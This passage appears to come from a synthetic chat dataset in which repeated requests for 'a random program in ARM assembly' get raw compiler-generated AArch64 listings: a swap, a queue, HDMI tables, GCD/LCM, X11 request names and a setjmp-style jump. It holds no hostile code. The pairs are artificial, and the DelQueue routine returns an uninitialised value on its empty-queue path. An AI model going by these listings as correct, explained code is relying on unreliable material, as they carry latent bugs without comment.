.hword 7838
.hword 7846
.hword 7868
.hword 7876
.hword 7882
.hword 7890
.hword 7900
.hword 7908
.hword 7914
.hword 7922
.hword 7941
.hword 7949
.hword 7955
.hword 7963
.hword 7973
.hword 7981
.hword 7987
.hword 7995
.hword 8021
.hword 8029
.hword 8035
.hword 8043
.hword 8053
.hword 8061
.hword 8067
.hword 8075
.hword 8094
.hword 8102
.hword 8108
.hword 8116
.hword 8126
.hword 8134
.hword 8140
.hword 8148
.hword 8170
.hword 8178
.hword 8184
.hword 8192
.hword 8202
.hword 8210
.hword 8216
.hword 8224
.hword 8243
.hword 8251
.hword 8257
.hword 8265
.hword 8275
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global a
.bss
.align 2
.type a, %object
.size a, 4
a:
.zero 4
.global b
.align 2
.type b, %object
.size b, 4
b:
.zero 4
.global c
.align 2
.type c, %object
.size c, 4
c:
.zero 4
.section .rodata
.align 3
.LC0:
.string "Introduzca el valor de A:"
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "Introduzca el valor de B:"
.align 3
.LC3:
.string "Intercambio"
.align 3
.LC4:
.string "El nuevo valor de A es %d y el de B es %d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
adrp x0, a
add x1, x0, :lo12:a
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
adrp x0, b
add x1, x0, :lo12:b
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
adrp x0, a
add x0, x0, :lo12:a
ldr w1, [x0]
adrp x0, c
add x0, x0, :lo12:c
str w1, [x0]
adrp x0, b
add x0, x0, :lo12:b
ldr w1, [x0]
adrp x0, a
add x0, x0, :lo12:a
str w1, [x0]
adrp x0, c
add x0, x0, :lo12:c
ldr w1, [x0]
adrp x0, b
add x0, x0, :lo12:b
str w1, [x0]
adrp x0, a
add x0, x0, :lo12:a
ldr w1, [x0]
adrp x0, b
add x0, x0, :lo12:b
ldr w0, [x0]
mov w2, w0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global NewItem
.type NewItem, %function
NewItem:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov x0, 24
bl malloc
str x0, [sp, 24]
ldr x0, [sp, 24]
str xzr, [x0]
ldr x0, [sp, 24]
str xzr, [x0, 8]
ldr x0, [sp, 24]
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size NewItem, .-NewItem
.align 2
.global FreeItem
.type FreeItem, %function
FreeItem:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl free
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size FreeItem, .-FreeItem
.align 2
.global NewQueue
.type NewQueue, %function
NewQueue:
.LFB8:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str xzr, [sp, 8]
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size NewQueue, .-NewQueue
.align 2
.global AddQueue
.type AddQueue, %function
AddQueue:
.LFB9:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
ldr x0, [x0]
cmp x0, 0
bne .L7
ldr x0, [sp]
ldr x1, [sp]
str x1, [x0]
ldr x0, [sp]
ldr x1, [sp]
str x1, [x0, 8]
ldr x0, [sp, 8]
ldr x1, [sp]
str x1, [x0]
b .L9
.L7:
ldr x0, [sp, 8]
ldr x1, [x0]
ldr x0, [sp]
str x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0]
ldr x1, [x0]
ldr x0, [sp]
str x1, [x0]
ldr x0, [sp, 8]
ldr x0, [x0]
ldr x0, [x0]
ldr x1, [sp]
str x1, [x0, 8]
ldr x0, [sp, 8]
ldr x0, [x0]
ldr x1, [sp]
str x1, [x0]
.L9:
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size AddQueue, .-AddQueue
.section .rodata
.align 3
.LC0:
.string "ERROR: Attempted to delete item from empty queue"
.text
.align 2
.global DelQueue
.type DelQueue, %function
DelQueue:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr x0, [x0]
cmp x0, 0
bne .L11
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
b .L12
.L11:
ldr x0, [sp, 24]
ldr x0, [x0]
str x0, [sp, 40]
ldr x0, [sp, 24]
ldr x1, [x0]
ldr x0, [sp, 24]
ldr x0, [x0]
ldr x0, [x0, 8]
ldr x1, [x1]
str x1, [x0]
ldr x0, [sp, 24]
ldr x1, [x0]
ldr x0, [sp, 24]
ldr x0, [x0]
ldr x0, [x0]
ldr x1, [x1, 8]
str x1, [x0, 8]
ldr x0, [sp, 24]
ldr x0, [x0]
ldr x1, [x0, 8]
ldr x0, [sp, 24]
str x1, [x0]
ldr x0, [sp, 40]
str xzr, [x0, 8]
ldr x0, [sp, 40]
str xzr, [x0]
.L12:
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size DelQueue, .-DelQueue
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.type HDMI_VIDEO_ID_CODE, %object
.size HDMI_VIDEO_ID_CODE, 32
HDMI_VIDEO_ID_CODE:
.string "\002\021\004\023\005\024\"! \"\020\037"
.zero 18
.align 3
.type POSDIV, %object
.size POSDIV, 12
POSDIV:
.ascii "\003\003\003\002"
.ascii "\002\001\001\001"
.string "\001"
.string ""
.string ""
.align 3
.type FBKSEL, %object
.size FBKSEL, 12
FBKSEL:
.ascii "\001\001\001\001"
.string "\001"
.ascii "\001\001"
.string "\001"
.ascii "\001\001"
.align 3
.type FBKDIV, %object
.size FBKDIV, 12
FBKDIV:
.ascii "\023\030\035\023"
.ascii "\023\030\016\023"
.ascii "\023\030\016\023"
.align 3
.type DIVEN, %object
.size DIVEN, 12
DIVEN:
.ascii "\002\001\001\002"
.ascii "\002\002\002\002"
.ascii "\002\002\002\002"
.align 3
.type HTPLLBP, %object
.size HTPLLBP, 12
HTPLLBP:
.ascii "\f\f\b\f"
.ascii "\f\017\017\f"
.ascii "\f\017\017\f"
.align 3
.type HTPLLBC, %object
.size HTPLLBC, 12
HTPLLBC:
.ascii "\002\003\003\002"
.ascii "\002\003\003\002"
.ascii "\002\003\003\002"
.align 3
.type HTPLLBR, %object
.size HTPLLBR, 12
HTPLLBR:
.string "\001\001"
.ascii "\001"
.ascii "\001\002\002\001"
.ascii "\001\002\002\001"
.align 3
.type HDMI_NCTS, %object
.size HDMI_NCTS, 343
HDMI_NCTS:
.string ""
.string ""
.string "ix"
.string "\020"
.string ""
.string ""
.string "\322\360"
.string "\020"
.string ""
.string "\0037\371"
.ascii "-\200"
.string ""
.string "\001\"\n"
.string "\020"
.string ""
.string "\006o\363"
.ascii "-\200"
.string ""
.string "\002D\024"
.string "\020"
.string ""
.string "\001\245\340"
.string "\020"
.string ""
.string ""
.string "u0"
.ascii "\030\200"
.string ""
.string ""
.string "\352`"
.ascii "\030\200"
.string ""
.string "\003\223\207"
.ascii "E\254"
.string ""
.string "\001BD"
.ascii "\030\200"
.string ""
.string "\003\223\207"
.ascii "\"\326"
.string ""
.string "\002\204\210"
.ascii "\030\200"
.string ""
.string "\001\324\300"
.ascii "\030\200"
.string ""
.string ""
.string "ix"
.string "\030"
.string ""
.string ""
.string "\322\360"
.string "\030"
.string ""
.string "\002%Q"
.ascii "-\200"
.string ""
.string "\001\"\n"
.string "\030"
.string ""
.string "\002%Q"
.ascii "\026\300"
.string ""
.string "\002D\024"
.string "\030"
.string ""
.string "\001\245\340"
.string "\030"
.string ""
.string ""
.string "u0"
.string "1"
.string ""
.string ""
.string "\352`"
.string "1"
.string ""
.string "\003\223\207"
.ascii "\213X"
.string ""
.string "\001BD"
.string "1"
.string ""
.string "\003\223\207"
.ascii "E\254"
.string ""
.string "\002\204\210"
.string "1"
.string ""
.string "\001\324\300"
.string "1"
.string ""
.string ""
.string "ix"
.string "0"
.string ""
.string ""
.string "\322\360"
.string "0"
.string ""
.string "\002%Q"
.string "["
.string ""
.string "\001\"\n"
.string "0"
.string ""
.string "\002%Q"
.ascii "-\200"
.string ""
.string "\002D\024"
.string "0"
.string ""
.string "\001\245\340"
.string "0"
.string ""
.string ""
.string "u0"
.string "b"
.string ""
.string ""
.string "\352`"
.string "b"
.string ""
.ascii "\003\223\207\001\026\260"
.string ""
.string "\001BD"
.string "b"
.string ""
.string "\003\223\207"
.ascii "\213X"
.string ""
.string "\002\204\210"
.string "b"
.string ""
.string "\001\324\300"
.string "b"
.string ""
.string ""
.string "ix"
.string "`"
.string ""
.string ""
.string "\322\360"
.string "`"
.string ""
.string "\002%Q"
.string "\266"
.string ""
.string "\001\"\n"
.string "`"
.string ""
.string "\002%Q"
.string "["
.string ""
.string "\002D\024"
.string "`"
.string ""
.string "\001\245\340"
.string "`"
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global getaddrinfo
.type getaddrinfo, %function
getaddrinfo:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
str x3, [sp]
mov w0, -1
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size getaddrinfo, .-getaddrinfo
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Enter two numbers : "
.align 3
.LC1:
.string "%d%d"
.align 3
.LC2:
.string "\n The LCM of %d and %d = %d"
.align 3
.LC3:
.string "\n The GCD of %d and %d = %d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x1, sp, 32
add x0, sp, 28
mov x2, x1
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 28]
str w0, [sp, 36]
ldr w0, [sp, 32]
str w0, [sp, 40]
b .L2
.L3:
ldr w0, [sp, 28]
ldr w1, [sp, 32]
sdiv w2, w0, w1
mul w1, w2, w1
sub w0, w0, w1
str w0, [sp, 52]
ldr w0, [sp, 32]
str w0, [sp, 28]
ldr w0, [sp, 52]
str w0, [sp, 32]
.L2:
ldr w0, [sp, 32]
cmp w0, 0
bne .L3
ldr w0, [sp, 28]
str w0, [sp, 44]
ldr w1, [sp, 36]
ldr w0, [sp, 40]
mul w1, w1, w0
ldr w0, [sp, 44]
sdiv w0, w1, w0
str w0, [sp, 48]
ldr w3, [sp, 48]
ldr w2, [sp, 40]
ldr w1, [sp, 36]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr w3, [sp, 44]
ldr w2, [sp, 40]
ldr w1, [sp, 36]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global test
.bss
.align 2
.type test, %object
.size test, 4
test:
.zero 4
.text
.align 2
.global l
.type l, %function
l:
.LFB0:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE0:
.size l, .-l
.align 2
.global k
.type k, %function
k:
.LFB1:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE1:
.size k, .-k
.align 2
.global j
.type j, %function
j:
.LFB2:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE2:
.size j, .-j
.align 2
.global i
.type i, %function
i:
.LFB3:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE3:
.size i, .-i
.align 2
.global h
.type h, %function
h:
.LFB4:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE4:
.size h, .-h
.align 2
.global g
.type g, %function
g:
.LFB5:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl l
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE5:
.size g, .-g
.align 2
.global f
.type f, %function
f:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl k
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size f, .-f
.align 2
.global e
.type e, %function
e:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl i
bl j
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size e, .-e
.align 2
.global d
.type d, %function
d:
.LFB8:
.cfi_startproc
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ret
.cfi_endproc
.LFE8:
.size d, .-d
.align 2
.global c
.type c, %function
c:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl g
bl h
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size c, .-c
.align 2
.global b
.type b, %function
b:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl f
bl g
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size b, .-b
.align 2
.global a
.type a, %function
a:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl d
bl e
bl f
adrp x0, test
add x0, x0, :lo12:test
ldr w0, [x0]
add w1, w0, 1
adrp x0, test
add x0, x0, :lo12:test
str w1, [x0]
nop
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size a, .-a
.align 2
.global main
.type main, %function
main:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
bl a
bl b
bl b
mov w0, 0
ldp x29, x30, [sp], 16
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global request_names
.section .rodata
.align 3
.LC0:
.string "CreateWindow"
.align 3
.LC1:
.string "ChangeWindowAttributes"
.align 3
.LC2:
.string "GetWindowAttributes"
.align 3
.LC3:
.string "DestroyWindow"
.align 3
.LC4:
.string "DestroySubwindows"
.align 3
.LC5:
.string "ChangeSaveSet"
.align 3
.LC6:
.string "ReparentWindow"
.align 3
.LC7:
.string "MapWindow"
.align 3
.LC8:
.string "MapSubwindows"
.align 3
.LC9:
.string "UnmapWindow"
.align 3
.LC10:
.string "UnmapSubwindows"
.align 3
.LC11:
.string "ConfigureWindow"
.align 3
.LC12:
.string "CirculateWindow"
.align 3
.LC13:
.string "GetGeometry"
.align 3
.LC14:
.string "QueryTree"
.align 3
.LC15:
.string "InternAtom"
.align 3
.LC16:
.string "GetAtomName"
.align 3
.LC17:
.string "ChangeProperty"
.align 3
.LC18:
.string "DeleteProperty"
.align 3
.LC19:
.string "GetProperty"
.align 3
.LC20:
.string "ListProperties"
.align 3
.LC21:
.string "SetSelectionOwner"
.align 3
.LC22:
.string "GetSelectionOwner"
.align 3
.LC23:
.string "ConvertSelection"
.align 3
.LC24:
.string "SendEvent"
.align 3
.LC25:
.string "GrabPointer"
.align 3
.LC26:
.string "UngrabPointer"
.align 3
.LC27:
.string "GrabButton"
.align 3
.LC28:
.string "UngrabButton"
.align 3
.LC29:
.string "ChangeActivePointerGrab"
.align 3
.LC30:
.string "GrabKeyboard"
.align 3
.LC31:
.string "UngrabKeyboard"
.align 3
.LC32:
.string "GrabKey"
.align 3
.LC33:
.string "UngrabKey"
.align 3
.LC34:
.string "AllowEvents"
.align 3
.LC35:
.string "GrabServer"
.align 3
.LC36:
.string "UngrabServer"
.align 3
.LC37:
.string "QueryPointer"
.align 3
.LC38:
.string "GetMotionEvents"
.align 3
.LC39:
.string "TranslateCoords"
.align 3
.LC40:
.string "WarpPointer"
.align 3
.LC41:
.string "SetInputFocus"
.align 3
.LC42:
.string "GetInputFocus"
.align 3
.LC43:
.string "QueryKeymap"
.align 3
.LC44:
.string "OpenFont"
.align 3
.LC45:
.string "CloseFont"
.align 3
.LC46:
.string "QueryFont"
.align 3
.LC47:
.string "QueryTextExtents"
.align 3
.LC48:
.string "ListFonts"
.align 3
.LC49:
.string "ListFontsWithInfo"
.align 3
.LC50:
.string "SetFontPath"
.align 3
.LC51:
.string "GetFontPath"
.align 3
.LC52:
.string "CreatePixmap"
.align 3
.LC53:
.string "FreePixmap"
.align 3
.LC54:
.string "CreateGC"
.align 3
.LC55:
.string "ChangeGC"
.align 3
.LC56:
.string "CopyGC"
.align 3
.LC57:
.string "SetDashes"
.align 3
.LC58:
.string "SetClipRectangles"
.align 3
.LC59:
.string "FreeGC"
.align 3
.LC60:
.string "ClearArea"
.align 3
.LC61:
.string "CopyArea"
.align 3
.LC62:
.string "CopyPlane"
.align 3
.LC63:
.string "PolyPoint"
.align 3
.LC64:
.string "PolyLine"
.align 3
.LC65:
.string "PolySegment"
.align 3
.LC66:
.string "PolyRectangle"
.align 3
.LC67:
.string "PolyArc"
.align 3
.LC68:
.string "FillPoly"
.align 3
.LC69:
.string "PolyFillRectangle"
.align 3
.LC70:
.string "PolyFillArc"
.align 3
.LC71:
.string "PutImage"
.align 3
.LC72:
.string "GetImage"
.align 3
.LC73:
.string "PolyText8"
.align 3
.LC74:
.string "PolyText16"
.align 3
.LC75:
.string "ImageText8"
.align 3
.LC76:
.string "ImageText16"
.align 3
.LC77:
.string "CreateColormap"
.align 3
.LC78:
.string "FreeColormap"
.align 3
.LC79:
.string "CopyColormapAndFree"
.align 3
.LC80:
.string "InstallColormap"
.align 3
.LC81:
.string "UninstallColormap"
.align 3
.LC82:
.string "ListInstalledColormaps"
.align 3
.LC83:
.string "AllocColor"
.align 3
.LC84:
.string "AllocNamedColor"
.align 3
.LC85:
.string "AllocColorCells"
.align 3
.LC86:
.string "AllocColorPlanes"
.align 3
.LC87:
.string "FreeColors"
.align 3
.LC88:
.string "StoreColors"
.align 3
.LC89:
.string "StoreNamedColor"
.align 3
.LC90:
.string "QueryColors"
.align 3
.LC91:
.string "LookupColor"
.align 3
.LC92:
.string "CreateCursor"
.align 3
.LC93:
.string "CreateGlyphCursor"
.align 3
.LC94:
.string "FreeCursor"
.align 3
.LC95:
.string "RecolorCursor"
.align 3
.LC96:
.string "QueryBestSize"
.align 3
.LC97:
.string "QueryExtension"
.align 3
.LC98:
.string "ListExtensions"
.align 3
.LC99:
.string "ChangeKeyboardMapping"
.align 3
.LC100:
.string "GetKeyboardMapping"
.align 3
.LC101:
.string "ChangeKeyboardControl"
.align 3
.LC102:
.string "GetKeyboardControl"
.align 3
.LC103:
.string "Bell"
.align 3
.LC104:
.string "ChangePointerControl"
.align 3
.LC105:
.string "GetPointerControl"
.align 3
.LC106:
.string "SetScreenSaver"
.align 3
.LC107:
.string "GetScreenSaver"
.align 3
.LC108:
.string "ChangeHosts"
.align 3
.LC109:
.string "ListHosts"
.align 3
.LC110:
.string "SetAccessControl"
.align 3
.LC111:
.string "SetCloseDownMode"
.align 3
.LC112:
.string "KillClient"
.align 3
.LC113:
.string "RotateProperties"
.align 3
.LC114:
.string "ForceScreenSaver"
.align 3
.LC115:
.string "SetPointerMapping"
.align 3
.LC116:
.string "GetPointerMapping"
.align 3
.LC117:
.string "SetModifierMapping"
.align 3
.LC118:
.string "GetModifierMapping"
.align 3
.LC119:
.string "NoOperation"
.section .data.rel.local,"aw"
.align 3
.type request_names, %object
.size request_names, 960
request_names:
.xword .LC0
.xword .LC1
.xword .LC2
.xword .LC3
.xword .LC4
.xword .LC5
.xword .LC6
.xword .LC7
.xword .LC8
.xword .LC9
.xword .LC10
.xword .LC11
.xword .LC12
.xword .LC13
.xword .LC14
.xword .LC15
.xword .LC16
.xword .LC17
.xword .LC18
.xword .LC19
.xword .LC20
.xword .LC21
.xword .LC22
.xword .LC23
.xword .LC24
.xword .LC25
.xword .LC26
.xword .LC27
.xword .LC28
.xword .LC29
.xword .LC30
.xword .LC31
.xword .LC32
.xword .LC33
.xword .LC34
.xword .LC35
.xword .LC36
.xword .LC37
.xword .LC38
.xword .LC39
.xword .LC40
.xword .LC41
.xword .LC42
.xword .LC43
.xword .LC44
.xword .LC45
.xword .LC46
.xword .LC47
.xword .LC48
.xword .LC49
.xword .LC50
.xword .LC51
.xword .LC52
.xword .LC53
.xword .LC54
.xword .LC55
.xword .LC56
.xword .LC57
.xword .LC58
.xword .LC59
.xword .LC60
.xword .LC61
.xword .LC62
.xword .LC63
.xword .LC64
.xword .LC65
.xword .LC66
.xword .LC67
.xword .LC68
.xword .LC69
.xword .LC70
.xword .LC71
.xword .LC72
.xword .LC73
.xword .LC74
.xword .LC75
.xword .LC76
.xword .LC77
.xword .LC78
.xword .LC79
.xword .LC80
.xword .LC81
.xword .LC82
.xword .LC83
.xword .LC84
.xword .LC85
.xword .LC86
.xword .LC87
.xword .LC88
.xword .LC89
.xword .LC90
.xword .LC91
.xword .LC92
.xword .LC93
.xword .LC94
.xword .LC95
.xword .LC96
.xword .LC97
.xword .LC98
.xword .LC99
.xword .LC100
.xword .LC101
.xword .LC102
.xword .LC103
.xword .LC104
.xword .LC105
.xword .LC106
.xword .LC107
.xword .LC108
.xword .LC109
.xword .LC110
.xword .LC111
.xword .LC112
.xword .LC113
.xword .LC114
.xword .LC115
.xword .LC116
.xword .LC117
.xword .LC118
.xword .LC119
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
nop
.L2:
mov w0, 65
strb w0, [sp, 49]
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L4
bl __stack_chk_fail
.L4:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global lib3fun
.type lib3fun, %function
lib3fun:
.LFB0:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE0:
.size lib3fun, .-lib3fun
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global _start
.type _start, %function
_start:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w0, [sp, 12]
add w0, w0, 1
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size _start, .-_start
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global buf
.bss
.align 3
.type buf, %object
.size buf, 160
buf:
.zero 160
.text
.align 2
.global sub2
.type sub2, %function
sub2:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -16]!
.cfi_def_cfa_offset 16
.cfi_offset 29, -16
.cfi_offset 30, -8
mov x29, sp
.cfi_def_cfa_register 29
adrp x0, buf
add x0, x0, :lo12:buf
ldr x1, [x0, 8]
ldr x2, [x0]
ldr x0, [x0, 16]
mov sp, x0
mov x29, x2
br x1
.cfi_endproc
.LFE0:
.size sub2, .-sub2
.section .rodata
.align 3
.LC0:
.string "test"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
stp x27, x28, [sp, 80]
stp d8, d9, [sp, 96]
stp d10, d11, [sp, 112]
stp d12, d13, [sp, 128]
stp d14, d15, [sp, 144]
sub sp, sp, #16
.cfi_offset 19, -176
.cfi_offset 20, -168
.cfi_offset 21, -160
.cfi_offset 22, -152
.cfi_offset 23, -144
.cfi_offset 24, -136
.cfi_offset 25, -128
.cfi_offset 26, -120
.cfi_offset 27, -112
.cfi_offset 28, -104
.cfi_offset 72, -96
.cfi_offset 73, -88
